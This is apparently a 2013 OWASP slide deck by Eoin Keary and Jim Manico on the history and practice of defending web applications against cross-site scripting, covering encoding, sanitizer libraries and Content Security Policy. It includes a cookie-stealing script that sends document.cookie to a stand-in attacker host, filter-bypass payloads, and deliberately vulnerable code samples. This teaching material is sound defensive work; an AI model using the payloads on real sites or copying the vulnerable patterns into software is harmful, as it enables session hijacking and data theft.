XSS Defense
Past, Present and Future

By Eoin Keary and Jim Manico

March 2013 v3
Jim Manico

- VP Security Architecture, WhiteHat Security
- Web Developer, 17+ Years

- OWASP Global Board Member
- OWASP Podcast Series Producer/Host
- OWASP Cheat-Sheet Series Manager
What is XSS?

Misnomer: Cross Site Scripting

Reality: JavaScript Injection
Anatomy of a XSS Attack (bad stuff)

<script>window.location='https://evileviljim.com/unc/data=' + document.cookie;</script>

<script>document.body.innerHTML='&lt;blink&gt;EOIN IS COOL&lt;/blink&gt;';</script>
XSS Attack Payloads

– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
Consider the following URL:

www.example.com/saveComment?comment=Great+Site!

Source of resulting page displaying user input back to the browser

How can an attacker misuse this?
# XSS Variants

<table>
<thead>
<tr>
<th>XSS Variant</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>REFLECTED XSS</strong></td>
<td>- Data provided by a client is immediately used by server-side scripts to generate a page of results for that user.</td>
</tr>
<tr>
<td></td>
<td>- Search engines</td>
</tr>
<tr>
<td><strong>STORED XSS</strong></td>
<td>- Data provided by a client is first stored persistently on the server (e.g., in a database, filesystem), and later displayed to users</td>
</tr>
<tr>
<td></td>
<td>- Bulletin Boards, Forums, Blog Comments</td>
</tr>
<tr>
<td><strong>DOM XSS</strong></td>
<td>- A page's client-side script itself accesses a URL request parameter and uses this information to dynamically write some HTML to its own page</td>
</tr>
<tr>
<td></td>
<td>- DOM XSS is triggered when a victim interacts with a web page directly without causing the page to reload.</td>
</tr>
<tr>
<td></td>
<td>- Difficult to test with scanners and proxy tools – why?</td>
</tr>
</tbody>
</table>
1. Hacker sends link to victim. Link contains XSS payload.

2. Victim views page via XSS link supplied by attacker.

3. XSS code executes on victims browser and sends cookie to evil server.

4. Cookie is stolen. The attacker can hijack the victims session.
Reflected XSS

//Search.aspx.cs

public partial class _Default : System.Web.UI.Page
{
    Label lblResults;
    protected void Page_Load(object sender, EventArgs e)
    {
        //... doSearch();
        this.lblResults.Text = "You Searched For " +
            Request.QueryString["query"];    
    }
}

NOT OK:  http://app.com/Search.aspx?query=<script>...</script>
Persistent/Stored XSS
Persistent/Stored XSS

```java
int id = Integer.parseInt(request.getParameter("id"));
String query = "select * from forum where id=" + id;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
if (rs != null) {
    rs.next();
    String comment = rs.getString("comment");

    User Comment : <%= comment %>

    <%
}
%
```
DOM-Based XSS
DOM-Based XSS

```html
<HTML>
  <TITLE>Welcome!</TITLE>
  Hi
  <SCRIPT>
    var pos=document.URL.indexOf("name=")+5;
    document.write(document.URL.substring(pos,document.URL.length));
  </SCRIPT>
  <BR>
  Welcome to our system
</HTML>
OK : http://a.com/page.htm?name=Joe
NOT OK: http://a.com/page.htm?name=<script>...</script>
```

In DOM XSS the attack vector has not rewritten the HTML but is a parameter value
Test for Cross-Site Scripting

- Make note of all pages that display input originating from current or other users
- Test by inserting malicious script or characters to see if they are ultimately displayed back to the user
- Examine code to ensure that application data is HTML encoded before being rendered to users
- Very easy to discover XSS via dynamic testing
- More difficult to discover via code review (debatable)
# Test for Cross-Site Scripting

<table>
<thead>
<tr>
<th>Remember the three common types of attacks:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Input parameters that are rendered directly back to the user</td>
</tr>
<tr>
<td>Server-Side</td>
</tr>
<tr>
<td>Client-Side</td>
</tr>
<tr>
<td>Input that is rendered within other pages</td>
</tr>
<tr>
<td>Hidden fields are commonly vulnerable to this exploit as there is a perception that hidden fields are read-only</td>
</tr>
<tr>
<td>Error messages that redisplay user input</td>
</tr>
</tbody>
</table>
Test for Cross-Site Scripting

Each input should be tested to see if data gets rendered back to the user.

Break out of another tag by inserting “>” before the malicious script

Bypass `<script> “tag-hunting” filters

```html
<IMG SRC="javascript:alert(document.cookie)">
<p style="left:expression(eval('alert(document.cookie)'))">\u003Cscript\u003E

May not require tags if the input is inserted into an existing JavaScript routine <- DOM XSS

```html
<SCRIPT> <%= userdata %> </SCRIPT>
Past XSS Defensive Strategies

• 1990’s style XSS prevention
  – Eliminate <, >, &, " , ' characters?
  – Eliminate all special characters?
  – Disallow user input?
  – Global filter?

• Why won't these strategies work?
XSS Defense, 1990’s

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>Any Data</td>
<td>Input Validation</td>
</tr>
</tbody>
</table>

#absolute-total-fail
Past XSS Defensive Strategies

• Y2K style XSS prevention
  – HTML Entity Encoding
  – Replace characters with their 'HTML Entity’ equivalent
  – Example: replace the "<" character with "&lt;"

• Why won't this strategy work?
## XSS Defense, 2000

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>Any Data</td>
<td>HTML Entity Encoding</td>
</tr>
</tbody>
</table>

Why won't this strategy work?
Danger: Multiple Contexts

Browsers have multiple contexts that must be considered!
Past XSS Defensive Strategies

1. All untrusted data must first be canonicalized
   – Reduced to simplest form

2. All untrusted data must be validated
   – Positive Regular Expressions
   – Blacklist Validation

3. All untrusted data must be contextually encoded
   – HTML Body
   – Quoted HTML Attribute
   – Unquoted HTML Attribute
   – Untrusted URL
   – Untrusted GET parameter
   – CSS style value
   – JavaScript variable assignment
## XSS Defense, 2007

<table>
<thead>
<tr>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML Body</td>
<td>HTML Entity Encoding</td>
</tr>
<tr>
<td>HTML Attribute</td>
<td>HTML Attribute Encoding</td>
</tr>
<tr>
<td>JavaScript variable assignment</td>
<td>JavaScript Hex Encoding</td>
</tr>
<tr>
<td>JavaScript function parameter</td>
<td></td>
</tr>
<tr>
<td>CSS Value</td>
<td>CSS Hex Encoding</td>
</tr>
<tr>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>Untrusted URL</td>
<td>HTML Attribute Encoding</td>
</tr>
<tr>
<td>Untrusted HTML</td>
<td>HTML Validation (Jsoup, AntiSamy)</td>
</tr>
</tbody>
</table>

*Why won't this strategy work?*
I got some bad news
CSS Pwnage Test Case

<div style="width: <%=temp3%>;"> Mouse over </div>

temp3 = ESAPI.encoder().encodeForCSS("expression(alert (String.fromCharCode (88,88,88)))");

<div style="width: expression\28 alert\28 String\2e fromCharCode\20 \28 88\2c 88\2c 88\29 \29 \29 \29;"> Mouse over </div>

Pops in at least IE6 and IE7.

lists.owasp.org/pipermail/owasp-esapi/2009-February/000405.html
Simplified DOM Based XSS Defense

1. Initial loaded page should only be static content.

2. Load JSON data via AJAX.

3. Only use the following methods to populate the DOM
   • Node.textContent
   • document.createTextNode
   • Element.setAtribute

References: http://www.educatedguesswork.org/2011/08/guest_post_adam_barth_on_three.html and Abe Kang
Dom XSS Oversimplification Danger

Element.setTextAttribute is one of the most dangerous JS methods

If the first element to setTextAttribute is any of the JavaScript event handlers or a URL context based attribute ("src", "href", "backgroundImage", "backgound", etc.) then pop.

References: http://www.educatedguesswork.org/2011/08/guest_post_adam_barth_on_three.html and Abe Kang
Today
# Safe ways to represent dangerous characters in a web page

<table>
<thead>
<tr>
<th>Characters</th>
<th>Decimal</th>
<th>Hexadecimal</th>
<th>HTML Entity</th>
<th>Unicode</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot; (double quotation marks)</td>
<td>&quot;</td>
<td>&quot;</td>
<td>&quot;</td>
<td>\u0022</td>
</tr>
<tr>
<td>' (single quotation mark)</td>
<td>'</td>
<td>'</td>
<td>'</td>
<td>\u0027</td>
</tr>
<tr>
<td>&amp; (ampersand)</td>
<td>&amp;</td>
<td>&amp;</td>
<td>&amp;</td>
<td>\u0026</td>
</tr>
<tr>
<td>&lt; (less than)</td>
<td>&lt;</td>
<td>&lt;</td>
<td>&lt;</td>
<td>\u003c</td>
</tr>
<tr>
<td>&gt; (greater than)</td>
<td>&gt;</td>
<td>&gt;</td>
<td>&gt;</td>
<td>\u003e</td>
</tr>
</tbody>
</table>
# XSS Defense by Data Type and Context

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body</td>
<td>HTML Entity Encode</td>
</tr>
<tr>
<td>String</td>
<td>HTML Attribute</td>
<td>Aggressive HTML Entity Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>Strict structural validation, CSS Hex encoding, good design</td>
</tr>
<tr>
<td>HTML</td>
<td>HTML Body</td>
<td>HTML Validation (JSoup, AntiSamy, HTML Sanitizer)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>DOM XSS Cheat Sheet</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
</tbody>
</table>

**Safe HTML Attributes include:** align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
UNTRUSTED DATA

attack

/* bad stuff */
HTML Attribute Context

<input type="text" name="fname" value="UNTRUSTED DATA">

attack: ""><script>/* bad stuff */</script>
HTTP GET Parameter Context

<a href="/site/search?value=UNTRUSTED DATA">clickme</a>

attack: " onclick="/* bad stuff */"
URL Context

<a href="UNTRUSTED URL">clickme</a>

<iframe src="UNTRUSTED URL"/>

attack: javascript:/* BAD STUFF */
Handling Untrusted URL’s

1) Validate to ensure the string is a valid URL
2) Avoid Javascript: URL’s (whitelist HTTP:// or HTTPS:// URL’s)
3) Check the URL for malware
4) Encode URL in the right context of display

<a href="UNTRUSTED URL">UNTRUSTED URL</a>
CSS Value Context

<div style="width: UNTRUSTED DATA;">Selection</div>

attack: expression(/* BAD STUFF */)
JavaScript Variable Context

<script>
var currentValue='UNTRUSTED DATA';
someFunction('UNTRUSTED DATA');
</script>

attack: ');/* BAD STUFF */
JSON Parsing Context

JSON.parse(UNTRUSTED JSON DATA)
Solving Real World XSS Problems in Java with OWASP Libraries
• No third party libraries or configuration necessary.
• This code was designed for high-availability/high-performance encoding functionality.
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component encoding, etc) in some regards.
• This is a Java 1.5 project.
• Will be the default encoder in the next revision of ESAPI.
• Last updated February 14, 2013 (version 1.1)
The Problem
Web Page built in Java JSP is vulnerable to XSS

The Solution

```html
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>">
<textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">click me</button>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(message) %>";
alert(msg);
</script>
```
• HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.
• This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration (see below). No XML config.
• Actively maintained by Mike Samuel from Google's AppSec team!
• This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCIImageManager and MCFFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend Firefox as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.

Got questions or need help?

If you have questions or need help, feel free to visit our community forum! We also offer Enterprise support solutions. Also do not miss out on the documentation, it's a great resource wiki for understanding how TinyMCE works and integrates.

Source output from post

<table>
<thead>
<tr>
<th>Element</th>
<th>HTML</th>
</tr>
</thead>
</table>
| content | `<h1><img style="float: right;" title="TinyMCE Logo" src="img/tlogo.png" alt="TinyMCE Logo" width="92" height="80" />Welcome to the TinyMCE editor demo!</h1>

<p>Feel free to try out the different features that are provided, please note that the MCIImageManager and MCFFileManager specific functionality is part of our commercial offering. The demo is to show the integration.</p>

<p>We really recommend <a href="http://www.getfirefox.com" target="_blank">Firefox</a> as the primary browser for the best editing experience, but of course, TinyMCE is <a href="../wiki.php/Browser_compatibility" target="_blank">compatible</a> with all major browsers.</a></p>

<h2>Got questions or need help?</h2>

<p>If you have questions or need help, feel free to visit our <a href="../forum/index.php">community forum</a>! We also offer Enterprise <a href="../enterprise/support.php">support</a> solutions. Also do not miss out on the <a href="../wiki.php/documentation">documentation</a>, it's a great resource wiki for understanding how TinyMCE works and integrates.</p>

<h2>Found a bug?</h2>

<p>If you think you have found a bug, you can use the <a href="../develop/bugtracker.php">Tracker</a> to report bugs to the developers.</p>

And here is a simple table for you to play with... |
Solving Real World Problems with the OWASP HTML Sanitizer Project

The Problem

Web Page is vulnerable to XSS because of untrusted HTML

The Solution

```java
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a")
    .allowUrlProtocols("https")
    .allowAttributes("href").onElements("a")
    .requireRelNofollowOnLinks()
    .build();
String safeHTML = policy.sanitize(untrustedHTML);
```
• Given JSON-like content, converts it to valid JSON.
• This can be attached at either end of a data-pipeline to help satisfy Postel's principle: *Be conservative in what you do, be liberal in what you accept from others.*
• Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use.
• Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
Solving Real World Problems with the OWASP JSON Sanitizer Project

The Problem
Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly

The Solution
JSON Sanitizer can help with two use cases.

1) Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication

2) Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.
- SAFE use of Jquery
  - `$('#element').text('UNTRUSTED DATA');`

- UNSAFE use of Jquery
  - `$('#element').html('UNTRUSTED DATA');`
<table>
<thead>
<tr>
<th>Dangerous jQuery 1.7.2 Data Types</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>CSS</strong></td>
</tr>
<tr>
<td><strong>HTML</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>jQuery methods that directly update DOM or can execute JavaScript</th>
</tr>
</thead>
<tbody>
<tr>
<td>$(() or jQuery()</td>
</tr>
<tr>
<td>.add()</td>
</tr>
<tr>
<td>.after()</td>
</tr>
<tr>
<td>.animate()</td>
</tr>
<tr>
<td>.append()</td>
</tr>
<tr>
<td>.appendTo()</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>jQuery methods that accept URLs to potentially unsafe content</th>
</tr>
</thead>
<tbody>
<tr>
<td>jQuery.ajax()</td>
</tr>
<tr>
<td>jQuery.get()</td>
</tr>
<tr>
<td>jQuery.getScript()</td>
</tr>
</tbody>
</table>
Got future?
Context Aware Auto-Escaping

• **Context-Sensitive Auto-Sanitization (CSAS) from Google**
  – Runs during the compilation stage of the Google Closure Templates to add proper sanitization and runtime checks to ensure the correct sanitization.

• **Java XML Templates (JXT) from OWASP by Jeff Ichnowski**
  – Fast and secure XHTML-compliant context-aware auto-encoding template language that runs on a model similar to JSP.
Auto Escaping Tradeoffs

• Developers need to write highly compliant templates
  – No "free and loose" coding like JSP
  – Requires extra time but increases quality

• These technologies often do not support complex contexts
  – Some are not context aware (really really bad)
  – Some choose to let developers disable auto-escaping on a case-by-case basis (really bad)
  – Some choose to encode wrong (bad)
  – Some choose to reject the template (better)
Content Security Policy

• Anti-XSS W3C standard
• Content Security Policy *latest release version*
• http://www.w3.org/TR/CSP/
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use
  - Firefox/IE10PR: X-Content-Security-Policy
  - Chrome Experimental: X-WebKit-CSP
  - Content-Security-Policy-Report-Only
• Define a policy for the site regarding loading of content
Get rid of XSS, eh?

A script-src directive that doesn’t contain unsafe-inline eliminates a huge class of cross site scripting

I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
Real world CSP in action

strict-transport-security: max-age=631138519
version: HTTP/1.1
x-frame-options: SAMEORIGIN
x-gitsha: d814fdf74482e7b82c1d9f0344a59dd1d6a700a6
x-rack-cache: miss
x-request-id: 746d48ca76dc0766a62e74fa905b11
x-runtime: 0.023473
x-ua-compatible: IE=edge,chrome=1
What does this report look like?

```
{
    "csp-report"=>
    {
        "document-uri"=>"http://localhost:3000/home",
        "referrer"=>"",
        "blocked-uri"=>"ws://localhost:35729/livereload",
        "violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
    }
}
```
What does this report look like?

```json
{
  "csp-report" =>
  {
    "document-uri" => "http://example.com/welcome",
    "referrer" => "",
    "blocked-uri" => "self",
    "violated-directive" => "inline script base restriction",
    "source-file" => "http://example.com/welcome",
    "script-sample" => "alert(1)",
    "line-number" => 81
  }
}
```
# XSS Defense, Future?

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>Numeric, Type safe language</td>
<td>Doesn’t Matter</td>
<td>Auto Escaping Templates, Content Security Policy</td>
</tr>
<tr>
<td>String</td>
<td>HTML Body</td>
<td></td>
</tr>
<tr>
<td>String</td>
<td>HTML Attribute, quoted</td>
<td></td>
</tr>
<tr>
<td>String</td>
<td>HTML Attribute, unquoted</td>
<td></td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td></td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td></td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td></td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td></td>
</tr>
<tr>
<td>HTML</td>
<td>HTML Body</td>
<td></td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td></td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td></td>
</tr>
<tr>
<td>JSON</td>
<td>Client parse time</td>
<td>JSON Sanitization</td>
</tr>
</tbody>
</table>
THANK YOU!

Gaz Heyes
Abe Kang
Mike Samuel
Jeff Ichnowski
Adam Barth
Jeff Williams
many many others...

jim@owasp.org